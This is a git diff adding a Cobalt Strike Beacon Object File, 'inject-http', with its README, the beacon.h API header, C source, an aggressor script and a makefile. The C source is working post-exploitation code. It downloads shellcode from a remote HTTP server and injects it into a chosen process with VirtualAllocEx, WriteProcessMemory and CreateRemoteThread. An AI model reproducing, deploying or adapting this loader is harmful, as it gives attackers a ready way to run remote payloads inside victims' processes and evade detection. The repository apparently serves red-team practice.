diff --git a/BOF/README.md b/BOF/README.md new file mode 100644 index 0000000..f3a1c6e --- /dev/null +++ b/BOF/README.md @@ -0,0 +1,18 @@ +# Inject-http BOF +A custom `inject` function of Cobalt Strike, which injects the shellcode in a process by retrieving the shellcode from a remote HTTP server. + +## Usage + +Compile the script using `make`. +``` +make +``` + +Then load `inject-http.cna` to Cobalt Strike. To run the BOF inside a Beacon: +``` +beacon> inject-http +``` + +## Demo + +![wmi_in_action](https://github.com/kleiton0x00/RemoteShellcodeExec/assets/37262788/abc3b752-647f-4262-8fab-cedf631d4dda) diff --git a/BOF/beacon.h b/BOF/beacon.h new file mode 100644 index 0000000..dc9f8b9 --- /dev/null +++ b/BOF/beacon.h @@ -0,0 +1,70 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Additional BOF resources are available here: + * - https://github.com/Cobalt-Strike/bof_template + * + * Cobalt Strike 4.x + * ChangeLog: + * 1/25/2022: updated for 4.5 + */ + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d + +DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); +DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); + + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); + diff --git a/BOF/inject-http.c b/BOF/inject-http.c new file mode 100644 index 0000000..913af32 --- /dev/null +++ b/BOF/inject-http.c @@ -0,0 +1,174 @@ +#include +#include +#include +#include "beacon.h" + +DWORD calcBuff(DWORD buffSize, DWORD dwSize) { + buffSize += dwSize; + return buffSize; +} + +LPVOID decrementBuffer(LPVOID pBuffer, DWORD dwSize) { + LPBYTE pByte = (LPBYTE)pBuffer; + pByte -= dwSize; + LPVOID pNewBuffer = (LPVOID)pByte; + return pNewBuffer; +} + +LPVOID incrementBuffer(LPVOID pBuffer, unsigned long buffer) { + LPBYTE pByte = (LPBYTE)pBuffer; + pByte += buffer; + LPVOID pNewBuffer = (LPVOID)pByte; + return pNewBuffer; +} + +//Function declarations +DECLSPEC_IMPORT INT WINAPI USER32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT); + +DECLSPEC_IMPORT WINBASEAPI LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); +DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); +DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); + +WINBASEAPI void *__cdecl MSVCRT$malloc(size_t size); +WINBASEAPI void *__cdecl MSVCRT$free(void *memblock); +WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); +#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size) + +DECLSPEC_IMPORT WINHTTPAPI HINTERNET WINHTTP$WinHttpOpen(LPCWSTR pszAgentW, DWORD dwAccessType, LPCWSTR pszProxyW, LPCWSTR pszProxyBypassW, DWORD dwFlags); +DECLSPEC_IMPORT WINHTTPAPI HINTERNET WINHTTP$WinHttpOpenRequest(HINTERNET hConnect, LPCWSTR pwszVerb, LPCWSTR pwszObjectName, LPCWSTR pwszVersion, LPCWSTR pwszReferrer, LPCWSTR *ppwszAcceptTypes, DWORD dwFlags); +DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpSendRequest(HINTERNET hRequest, LPCWSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength, DWORD dwTotalLength, DWORD_PTR dwContext); +DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpReceiveResponse(HINTERNET hRequest, LPVOID lpReserved); +DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpQueryDataAvailable(HINTERNET hRequest, LPDWORD lpdwNumberOfBytesAvailable); +DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpReadData(HINTERNET hRequest, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead); +DECLSPEC_IMPORT WINHTTPAPI HINTERNET WINHTTP$WinHttpConnect(HINTERNET hSession, LPCWSTR pswzServerName, INTERNET_PORT nServerPort, DWORD dwReserved); +DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpQueryHeaders(HINTERNET hRequest, DWORD dwInfoLevel, LPCWSTR pwszName, LPVOID lpBuffer, LPDWORD lpdwBufferLength, LPDWORD lpdwIndex); +DECLSPEC_IMPORT WINHTTPAPI BOOL WINHTTP$WinHttpCloseHandle(HINTERNET hInternet); + +//https://learn.microsoft.com/en-us/windows/win32/api/winhttp/nf-winhttp-winhttpconnect +/* entry point */ +void go(char * args, int length) { + datap parser; + int pid; + + BeaconDataParse(&parser, args, length); + pid = BeaconDataInt(&parser); + + BeaconPrintf(CALLBACK_OUTPUT, "[+] Injecting to PID: %d\n", pid); //WEIRD ERROR ON RETRIEVING THE PID + + //--------- CONFIGURE ----------- + LPCWSTR remotehost = L"192.168.0.x"; //change to your IP + int remoteport = 8081; //change to your port + LPCWSTR remotedir = L"/beacon.bin"; //change to your directory of the hosted bin file + //------------------------------- + + // Initialize variables + LPVOID pBuffer; + DWORD buffSize; + LPVOID lpvAddr = 0; + HINTERNET hInternet; + HINTERNET hHttpSession; + HINTERNET hHttpConnection; + HINTERNET hHttpRequest; + DWORD dwSize; + BOOL bResults; + DWORD dwStatus; + DWORD dwStatusSize; + DWORD dwDownloaded = 0; + DWORD dwContentLength = 0; + char* pszOutBuffer; + + // Initialize WinHTTP (change the first argument to a valid User-Agent instead) + hInternet = WINHTTP$WinHttpOpen(NULL, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); + BeaconPrintf(CALLBACK_OUTPUT, "[+] WinHTTP initialized\n"); + + // Connect to the HTTP server + hHttpSession = WINHTTP$WinHttpConnect(hInternet, remotehost, remoteport, 0); + BeaconPrintf(CALLBACK_OUTPUT, "[+] Connected to HTTP Server\n"); + + // Open an HTTP request + hHttpRequest = WINHTTP$WinHttpOpenRequest(hHttpSession, L"GET", remotedir, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, 0); + BeaconPrintf(CALLBACK_OUTPUT, "Sending HTTP GET Request\n"); + + // Send a request + bResults = WINHTTP$WinHttpSendRequest(hHttpRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); + BeaconPrintf(CALLBACK_OUTPUT, "WinHTTP request sent\n"); + + // Wait for the response + bResults = WINHTTP$WinHttpReceiveResponse(hHttpRequest, NULL); + BeaconPrintf(CALLBACK_OUTPUT, "Response retrieved\n"); + + + // Get the Length of the response. + if (bResults) + { + DWORD dwHeaderSize = sizeof(DWORD); + bResults = WINHTTP$WinHttpQueryHeaders(hHttpRequest, WINHTTP_QUERY_CONTENT_LENGTH | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &dwContentLength, &dwHeaderSize, WINHTTP_NO_HEADER_INDEX); + } + + HANDLE processHandle = KERNEL32$OpenProcess( + PROCESS_VM_OPERATION | PROCESS_VM_WRITE, + FALSE, + (DWORD)pid + ); + + pBuffer = KERNEL32$VirtualAllocEx(processHandle, NULL, dwContentLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + BeaconPrintf(CALLBACK_OUTPUT, "Buffer: %p\n", pBuffer); + + do + { + dwSize = 0; + if (!WINHTTP$WinHttpQueryDataAvailable(hHttpRequest, &dwSize)) + { + + BeaconPrintf(CALLBACK_OUTPUT, "Error in WinHttpQueryDataAvailable.\n"); + } + + // Allocate space for the buffer. + //pszOutBuffer = new char[dwSize + 1]; + //this is the C version + pszOutBuffer = (char*)MSVCRT$malloc(dwSize + 1); + + // No more available data + if (!pszOutBuffer) { + BeaconPrintf(CALLBACK_OUTPUT, "[-] No more available data"); + dwSize = 0; + } + + // Read the Data. + intZeroMemory(pszOutBuffer, dwSize + 1); + + if (!WINHTTP$WinHttpReadData(hHttpRequest, (LPVOID)pszOutBuffer, + dwSize, &dwDownloaded)) + BeaconPrintf(CALLBACK_OUTPUT, "Error in WinHttpReadData.\n"); + else + // Copy the shellcode into it. + KERNEL32$WriteProcessMemory(processHandle, pBuffer, (PVOID)pszOutBuffer, (SIZE_T)dwSize, (SIZE_T *)NULL); + pBuffer = incrementBuffer(pBuffer, dwSize); + buffSize = calcBuff(buffSize, dwSize); + + // Free the memory allocated to the buffer. + //uncommented since it's a C++ thingy + //delete[] pszOutBuffer; + MSVCRT$free(pszOutBuffer); + + + } while (dwSize > 0); + + pBuffer = decrementBuffer(pBuffer, buffSize); + + //Callback function to launch a thread on the buffer address + KERNEL32$CreateRemoteThread(processHandle, NULL, 0, pBuffer, NULL, 0, NULL); + + //USER32$MessageBoxA(NULL, "4", "1", 0); + + // Close the HTTP request + WINHTTP$WinHttpCloseHandle(hHttpRequest); + + // Close the session + WINHTTP$WinHttpCloseHandle(hHttpSession); + + // Cleanup + WINHTTP$WinHttpCloseHandle(hInternet); +} + diff --git a/BOF/inject-http.cna b/BOF/inject-http.cna new file mode 100644 index 0000000..183e0d1 --- /dev/null +++ b/BOF/inject-http.cna @@ -0,0 +1,44 @@ +# Register help/usage for inject-http +beacon_command_register( +"RemoteShellcodeExec", +"RemoteShellcodeExec: Retrieving payload over HTTP and injecting it in a remote process.", +"\nUsage: inject-http PID\n". +"\ncThreadHijack works by injecting raw Beacon shellcode which is retrieved by a remote HTTP server, into a remote process, defined by the user-supplied PID argument, via VirtualAllocEx and WriteProcessMemory. Then, spawn a new remote thread via CreateRemoteThread". +"\nExample usage: inject-http 3564\n" +); + +alias inject-http { + + # Alias for Beacon ID and args + local('$bid $listener $pid'); + + # Set the number of arguments + ($bid, $pid) = @_; + + # Determine the amount of arguments + if (size(@_) != 2) + { + berror($bid, "Error! Please enter a valid PID"); + return; + } + + # Read in the BOF + $handle = openf(script_resource("inject-http.o")); + $data = readb($handle, -1); + closef($handle); + + # Verify PID is an integer + if ((!-isnumber $pid) || (int($pid) <= 0)) + { + berror($bid, "Please enter a valid PID!\n"); + return; + } + + # Pack the arguments + # 'i' is an integer + $args = bof_pack($bid, "i", $pid); + + # Run the BOF + # go = Entry point of the BOF + beacon_inline_execute($bid, $data, "go", $args); +} diff --git a/BOF/makefile b/BOF/makefile new file mode 100644 index 0000000..c7979cf --- /dev/null +++ b/BOF/makefile @@ -0,0 +1,10 @@ +CCX64 := x86_64-w64-mingw32-gcc +CCX86 := i686-w64-mingw32-gcc + +OUTX64 := inject-http.o + +all: x64 + +x64: + @ echo Compiling the BOF... + @ $(CCX64) -c inject-http.c -o $(OUTX64)